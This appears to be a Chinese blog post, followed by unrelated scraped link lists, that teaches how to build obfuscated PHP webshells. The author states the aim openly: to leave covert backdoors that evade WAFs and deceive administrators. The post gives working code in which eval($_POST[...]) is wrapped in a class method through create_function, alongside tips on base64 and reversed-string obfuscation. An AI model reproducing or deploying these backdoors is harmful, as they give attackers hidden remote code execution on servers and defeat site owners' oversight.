文章主旨:准备学习c语言,你喜欢的所有干货在文末附件里 作者宗旨:没有不想当将军的兵,没有不想提高技术的person,今天带你打开php的研究之路。

本文作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn

 

前几篇帖子:

通用型保存网站用户密码到css文件
PHP之编写日志文件留后门(免杀)
Substr函数助你免杀php脚本(淫荡思路)

本来打算写一个综合性的PHP脚本文件(修改文件内容、复制文件、删除文件、创建文件、目录遍历等;执行系统命令;文件的上传;文件内容的加解密或者编解码;增删改查数据库;劫持登陆表单等一些操作)。发现这个需要花费很多的时间来调试,况且这些模块的分割拆解网上已经有了一些,所以,就到此为止。

本次发表文章,主要是围绕类的封装、构造函数以及perl-Class常量的使用、编码解码等,来与常规的结合,进行制作webshell

最基础的webshell,莫过于:

,或者还有最短的吧。

【eval($_POST[1]);】

那么我研究的初衷:1、是因为最短的一句话,会被很多的waf等直接拦截2、我想留下比较隐蔽并且容易忽悠管理员的后门3、我想锻炼一下自己的php掌握与使用能力4、为了给我们的开发团队督导一下安全编程思想。

最基础的类 :

Class classname

{

}

深入一点那么就是如下:

Class classname

{

Function operation(){ }

}

实例化:

$a = new classname();

$a -> operation();

嗯,是的就是如此,很常见的类。

看看perl-class呢:

class math{

const pi = 3.14159;

}

echo math::pi. "\n";

就是上面如此,::操作符来访问perl-clas常量。我们调试一下perl-class试试看:

神奇吧,我也这么觉得,php真的很让我开心Ilove her !那么我们现在用perlclass,来做一个webshell试试看呗:

<?php

error_reporting(0);

//perl-Class 思想

class math{

const pi = 3.14159;

}

echo &quot;Math::pi=&quot; .math::pi. &quot;\n&quot;;

const pi 这是我们的perl-class常量,在class中声明,然后类外::操作符进行常量引用。那么我们先修改pi为base64_decode,你感觉会实现吗,会不会因为是字符串然后error呢,不用怕,走起来看看吧,咱们有万能的echo:

使用试试看,其实学习吧,就是不要拘束,我的引路人给了很大的鼓励,是我的榜样:

在使用这个编码的时候,我心里在想也可以使用url编码、者rot13编码、反转、字符串拼接、字符串的拆分利用(如:explode)、字符串的查找替换(如:substr)、quoted-printable 字符串转换利用等等,更多的请参考: http://php.net/ref.strings如下,自己在这块调试的一个一句话:

下面我们来讲解一下,类的封装来制作一句话:先来一个成品如下图示,点击,显示源码:

对不起,再点击,也显示不了源码。前面我们说过了类的原型,那么下面我们试试:

class a{

function create_fun($data)

{

$post= create_function('', $data);

$post();

}

}

我们外部类,内部调用了动态创建函数,来为下一步的webshell做铺垫,然后我们来实例化吧:$a = new a();

这句就是实例化,简答吧,要记住了new 来实例化的,那么我们下面来引用,前面我们在类的内部定义了一个create_fun ,我们在这里使用它即可,如下,

$a -&gt;create_fun($shell);

那么到这里了,是不是还少个东西,看出来了大伙,参数噻,下面我们简单的定义参数呗:直接一句话,哈哈,简单暴力。

$shell =&quot;eval($_POST[c]);&quot;;

那么现在整理就完成了,类的封装来实现一句话的,测试看看:

执行命令是可以的。就是这样吧。

可以看到我们的phpinfo() 也是可以的。

最后,说一说,如何结合构造函数来生成一句话的,其实如果善于调试的话,我们的研究到这里应该已经结束了。

但是为了多讲几句,我还是留下了,先演示一下,如何反转字符串,这点让我感觉php神奇的一匹马:

function reverse_chr($str){

for($i=1;$i<=strlen($str);$i++){

$strr= substr($str,-$i,1);

echo $strr;

}

return;

}

这段足够代码实现,哈哈哈,其实还可以更见简短一些一个单词的事情:strrev ,这个函数你别看小,它的威力很强大,自行联想。

这个反转函数,怎么用,一句话:慢慢来,多使用,大佬们传授的经验。授之以鱼,不如授之以渔。你们长大了,成功了,分我们一碗汤喝就可以。

好了吧,不扯了,颈椎痛,大家平时要注意锻炼身体。

下面这张图,我敢保证,让你感到惊喜又兴奋!

最后一次对php在webshell方面的研究到此结束。准备去学习c语言了。附件打包地址回看原文下载>>>戳我

webshell在php方向的研究(精华篇)的更多相关文章

  1. mxgraph进阶(三)Web绘图——mxGraph项目实战(精华篇)

    Web绘图--mxGraph项目实战(精华篇) 声明     本文部分内容所属论文现已发表,请慎重对待. 需求 由于小论文实验需求,需要实现根据用户日志提取出行为序列,然后根据行为序列生成有向图的形式 ...

  2. (转)Linux系统基础网络配置老鸟精华篇

    Linux系统基础网络配置老鸟精华篇 原文:http://blog.51cto.com/oldboy/784625 对于linux高手看似简单的网络配置问题,也许要说出所以然来也并不轻松,因此仍然有太 ...

  3. 研究NLP100篇必读的论文---已整理可直接下载

    100篇必读的NLP论文 100 Must-Read NLP 自己汇总的论文集,已更新 链接:https://pan.baidu.com/s/16k2s2HYfrKHLBS5lxZIkuw 提取码:x ...

  4. 如何为编程爱好者设计一款好玩的智能硬件(十)——无线2.4G通信模块研究·一篇说完

    六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...

  5. C# Socket网络编程精华篇(转)

    我们在讲解Socket编程前,先看几个和Socket编程紧密相关的概念: TCP/IP层次模型 当然这里我们只讨论重要的四层 01,应用层(Application):应用层是个很广泛的概念,有一些基本 ...

  6. C# Socket网络编程精华篇 (转)

    http://www.cnblogs.com/weilengdeyu/archive/2013/03/08/2949101.html 我们在讲解Socket编程前,先看几个和Socket编程紧密相关的 ...

  7. ArcGIS鼠标滚轮方向之注册表篇

    ArcMap鼠标滚轮方向的设置是记录在注册表信息中,那么我们做一个简单的测试.先打开注册表,将ReverseMouseWheel删除,再打开ArcMap进行鼠标滚轮方向设置. 设置完成后,刷新注册表, ...

  8. CIO需加强对战略管理层面的掌控-精华篇

    当代CIO面临提升信息化作用的新机遇.CIO在企业中,不能满足于职能性的技术支撑角色,要找到新的着力点,以发挥信息化在全局战略中的作用,把信息化力量聚焦于做强做优,提高国际竞争力上来,成为企业不可或缺 ...

  9. C# Socket网络编程精华篇

    我们在讲解Socket编程前,先看几个和Socket编程紧密相关的概念: TCP/IP层次模型 当然这里我们只讨论重要的四层 01,应用层(Application):应用层是个很广泛的概念,有一些基本 ...

随机推荐

  1. Beetlsql自定义生成entity,mapper,md代码

    三个模板文件 mapper.btl package ${package}; import org.beetl.sql.core.annotatoin.*; import org.beetl.sql.c ...

  2. 数据库帮助类 SqlServerHelp

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.D ...

  3. 修改 Windows 10 UWP 应用任务栏图标

    修改 Windows 10 UWP 应用任务栏图标 Windows 7 时代,修改任务栏图标很简单,右键打开属性,更改图标即可.但步入 Windows 8 之后,随着应用商店 UWP 应用的问世,可以 ...

  4. 解决opacity属性在低版本IE浏览器下失效的方法

    以前,一直都以为ie9以下的版本不支持opacity属性.所以就同时使用 opacity和ie独特的filter蒙版.但是有些时候需要一些动态的效果,就比如层的渐渐消失,隐藏,就需要使用动态变化的op ...

  5. 27-python 画图

    绝佳教程:http://pyecharts.org/#/zh-cn/prepare?id=%E4%BD%BF%E7%94%A8%E4%B8%BB%E9%A2%98安装 pyecharts pip in ...

  6. RemoteExt 远程验证

    public class RemoteExtAttribute : RemoteAttribute { private string _resourceKey; public RemoteExtAtt ...

  7. [Training Video - 2] [Java Introduction] [Operator, Loops, Arrays, Functions]

    Operator : While Loop : For Loop :  Arrays : Code : public class FirstJavaClass { public static void ...

  8. python多版本共存问题

    1.环境变量配置,pip路径别忘记加入,否则pip不好使. 2.如果改名python.exe为其他名字,复制一份保留,否则pip容易无法启动进程 参见爆栈: http://stackoverflow. ...

  9. CLOB 和 BLOB

    An SQL CLOB is a built-in type that stores a Character Large Object as a column value in a row of a ...

  10. android事件分发

    1). android对事件分发的顺序为:Activity--->PhoneWindow--->DecorView--->yourView; 2). android控件对事件处理的优 ...